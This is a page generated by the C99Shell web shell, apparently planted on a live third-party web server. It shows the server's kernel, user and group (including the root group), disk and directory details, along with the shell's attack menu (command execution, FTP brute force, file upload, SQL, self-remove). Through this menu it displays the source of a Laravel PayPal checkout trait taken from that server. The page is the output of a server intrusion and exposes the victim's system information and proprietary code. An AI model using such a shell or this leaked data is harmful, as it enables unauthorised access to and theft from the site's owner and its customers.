!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/game.picotech.app/public_html/core/app/Traits/   drwxr-xr-x
Free 26.6 GB of 117.98 GB (22.54%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PaypalCheckout.php (9.24 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Traits;

use 
App\{
    
Models\Setting,
    
Models\PromoCode,
    
Models\TrackOrder,
    
Helpers\EmailHelper,
    
Helpers\PriceHelper,
    
Models\Notification,
    
Models\PaymentSetting,
};
use 
App\Helpers\SmsHelper;
use 
App\Models\Item as ModelsItem;
use 
App\Models\Order;
use 
App\Models\ShippingService;
use 
App\Models\State;
use 
Carbon\Carbon;
use 
Illuminate\Support\Facades\Auth;
use 
Illuminate\Support\Facades\Config;
use 
Illuminate\Support\Facades\Session;
use 
Illuminate\Support\Str;
use 
Omnipay\Omnipay;


trait 
PaypalCheckout
{

    private 
$_api_context;

    public function 
__construct()
    {
        
$data PaymentSetting::whereUniqueKeyword('paypal')->first();
        
$paydata $data->convertJsonData();

        
$this->gateway Omnipay::create('PayPal_Rest');
        
$this->gateway->setClientId($paydata['client_id']);
        
$this->gateway->setSecret($paydata['client_secret']);
        
$this->gateway->setTestMode(true);
    }

    public function 
paypalSubmit($data)
    {

        
$user Auth::user();
        
$setting Setting::first();
        
$cart Session::get('cart_'.$user->id);

        
$total_tax 0;
        
$cart_total 0;
        
$total 0;
        
$option_price 0;
        
        if (empty(
$cart)) {
            return [
                
'status' => false,
                
'message' => 'Your Cart Is Empty'
            
];
        }
        foreach (
$cart as $key => $item) {

            
$total += $item['main_price'] * $item['qty'];
            
$option_price += $item['attribute_price'];
            
$cart_total $total $option_price;
            
$item ModelsItem::findOrFail($key);
            if (
$item->tax) {
                
$total_tax += $item::taxCalculate($item);
            }
        }



        if (!
PriceHelper::Digital()) {
            
$shipping null;
        } else {
            
$shipping ShippingService::findOrFail($data['shipping_id']);
        }

        
$discount = [];
        if (
Session::has('coupon')) {
            
$discount Session::get('coupon');
        }
        
$orderData['state'] =  $data['state_id'] ? json_encode(State::findOrFail($data['state_id']), true) : null;
        
$grand_total = ($cart_total + ($shipping $shipping->price 0)) + $total_tax;
        
$grand_total $grand_total - ($discount $discount['discount'] : 0);
        
$grand_total += PriceHelper::StatePrce($data['state_id'], $cart_total);
        
$total_amount PriceHelper::setConvertPrice($grand_total);
        
$orderData['cart'] = json_encode($carttrue);
        
$orderData['discount'] = json_encode($discounttrue);
        
$orderData['shipping'] = json_encode($shippingtrue);
        
$orderData['tax'] = $total_tax;
        
$orderData['state_price'] = PriceHelper::StatePrce($data['state_id'], $cart_total);
        
$orderData['shipping_info'] = json_encode(Session::get('shipping_address'), true);
        
$orderData['billing_info'] = json_encode(Session::get('billing_address'), true);
        
$orderData['payment_method'] = 'Paypal';
        
$orderData['user_id'] = isset($user) ? $user->id 0;

        
$paypal_item_name 'Payment via paypal from' ' ' $setting->title;
        
$paypal_item_amount =  $total_amount;

        
$payment_cancel_url route('front.checkout.cancle');
        
$payment_notify_url route('front.checkout.redirect');

        try {

            
$response $this->gateway->purchase(array(
                
'amount' => $paypal_item_amount,
                
'currency' => PriceHelper::setCurrencyName(),
                
'returnUrl' => $payment_notify_url,
                
'cancelUrl' => $payment_cancel_url
            
))->send();

            if (
$response->isRedirect()) {

                
Session::put('order_data'$orderData);
                
Session::put('order_input_data'$data);
                
Session::put('order_payment_id'$response->getTransactionReference());
                if (
$response->redirect()) {
                    
/** redirect to paypal **/

                    
return [
                        
'status' => true,
                        
'link' => $response->redirect()
                    ];
                }
            } else {
                
dd($response->getMessage());
                return 
$response->getMessage();
            }
        } catch (
\Throwable $th) {

            return [
                
'status' => false,
                
'message' => $th->getMessage()
            ];
        }
    }

    public function 
paypalNotify($responseData)
    {
        
//dd($responseData);
        
$orderData Session::get('order_data');
        
/** Get the payment ID before session clear **/
        
$order_input_data Session::get('order_input_data');

        
/** clear the session payment ID **/
        
if (empty($responseData['PayerID']) || empty($responseData['token'])) {
            return [
                
'status' => false,
                
'message' => __('Unknown error occurred')
            ];
        }
        
$transaction $this->gateway->completePurchase(array(
            
'payer_id' => $responseData['PayerID'],
            
'transactionReference' => $responseData['paymentId'],
        ));


        
$response $transaction->send();
        if (
$response->isSuccessful()) {

            
$user Auth::user();
            
$cart Session::get('cart_'.$user->id);
            
$total_tax 0;
            
$cart_total 0;
            
$total 0;
            
$option_price 0;
            foreach (
$cart as $key => $item) {

                
$total += $item['main_price'] * $item['qty'];
                
$option_price += $item['attribute_price'];
                
$cart_total $total $option_price;
                
$item ModelsItem::findOrFail($key);
                if (
$item->tax) {
                    
$total_tax += $item->tax->value;
                }
            }
            if (!
PriceHelper::Digital()) {
                
$shipping null;
            } else {
                
$shipping ShippingService::findOrFail($order_input_data['shipping_id']);
            }
            
$discount = [];
            if (
Session::has('coupon')) {
                
$discount Session::get('coupon');
            }

            
$grand_total = ($cart_total + ($shipping $shipping->price 0)) + $total_tax;
            
$grand_total $grand_total - ($discount $discount['discount'] : 0);
            
$total_amount PriceHelper::setConvertPrice($grand_total);



            
$orderData['txnid'] = $response->getData()['transactions'][0]['related_resources'][0]['sale']['id'];
            
$orderData['payment_status'] = 'Paid';
            
$orderData['transaction_number'] = Str::random(10);
            
$orderData['currency_sign'] = PriceHelper::setCurrencySign();
            
$orderData['currency_value'] = PriceHelper::setCurrencyValue();
            
$orderData['order_status'] = 'Pending';
            
$order Order::create($orderData);
            
$new_txn =  $new_txn 'ORD-' str_pad(Carbon::now()->format('Ymd'), 4'0000'STR_PAD_LEFT) . '-' $order->id;
            
$order->transaction_number $new_txn;
            
$order->save();

            
PriceHelper::Transaction($order->id$order->transaction_numberEmailHelper::getEmail(), PriceHelper::OrderTotal($order'trns'));
            
PriceHelper::LicenseQtyDecrese($cart);
            
PriceHelper::LicenseQtyDecrese($cart);

            if (
Session::has('copon')) {
                
$code PromoCode::find(Session::get('copon')['code']['id']);
                
$code->no_of_times--;
                
$code->update();
            }

            if (
$discount) {
                
$coupon_id $discount['code']['id'];
                
$get_coupon PromoCode::findOrFail($coupon_id);
                
$get_coupon->no_of_times -= 1;
                
$get_coupon->update();
            }

            
TrackOrder::create([
                
'title' => 'Pending',
                
'order_id' => $order->id,
            ]);

            
Notification::create([
                
'order_id' => $order->id
            
]);

            
$setting Setting::first();
            if (
$setting->is_twilio == 1) {
                
// message
                
$sms = new SmsHelper();
                
$user_number json_decode($order->billing_infotrue)['bill_phone'];
                if (
$user_number) {
                    
$sms->SendSms($user_number"'purchase'"$order->transaction_number);
                }
            }

            
$emailData = [
                
'to' => EmailHelper::getEmail(),
                
'type' => "Order",
                
'user_name' => isset($user) ? $user->displayName() : Session::get('billing_address')['bill_first_name'],
                
'order_cost' => $total_amount,
                
'transaction_number' => $order->transaction_number,
                
'site_title' => Setting::first()->title,
            ];

            
$email = new EmailHelper();
            
$email->sendTemplateMail($emailData);

            
Session::put('order_id'$order->id);
            
Session::forget('cart_'.$user->id);
            
Session::forget('discount');
            
Session::forget('order_data');
            
Session::forget('order_payment_id');
            
Session::forget('coupon');
            return [
                
'status' => true
            
];
        } else {
            return [
                
'status' => false,
                
'message' => $response->getMessage()
            ];
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0054 ]--